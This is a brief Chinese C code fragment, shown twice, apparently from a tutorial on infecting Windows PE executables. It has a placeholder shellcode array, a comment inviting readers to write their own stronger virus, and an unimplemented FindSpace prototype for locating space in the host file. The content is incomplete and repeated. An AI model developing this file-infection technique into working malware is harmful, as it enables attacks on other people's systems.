代码如下:
#include
//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。
char shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader);//唯一一个必须自己写的函数,
代码如下:
#include
//假设这是病毒的十六进制码,虽然太简单了,但对于复杂病毒,感染模式也一样。这个病毒叫shellcod,不给出真实病毒,想要强大的病毒就自己写吧。
char shellcode[]="\x90\x90\x90\x90\xb8\x90\x90\x90\x90\x90\xff\xe0\x00";
DWORD FindSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader);//唯一一个必须自己写的函数,